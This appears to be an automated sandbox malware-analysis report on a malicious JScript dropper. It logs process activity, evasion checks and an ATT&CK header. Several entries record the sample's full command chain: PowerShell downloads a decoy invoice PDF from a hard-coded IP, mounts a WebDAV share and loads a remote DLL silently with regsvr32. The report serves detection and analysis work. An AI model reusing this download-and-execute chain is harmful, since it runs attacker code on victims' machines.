Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9251.js.csv");ITextStream.WriteLine(" entry:6835 f:usonsikr");ITextStream.WriteLine(" exec:2 f:usonsikr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4888			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4352			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5280	Thread sleep count: 4888 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5280	Thread sleep count: 4352 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3680	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4712	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5308	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2828	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 768	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3292	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2197609169.000001B8D5588000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2197609169.000001B8D55EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3421128461.0000020478221000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3419778029.0000020472C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3421251329.000002047825A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
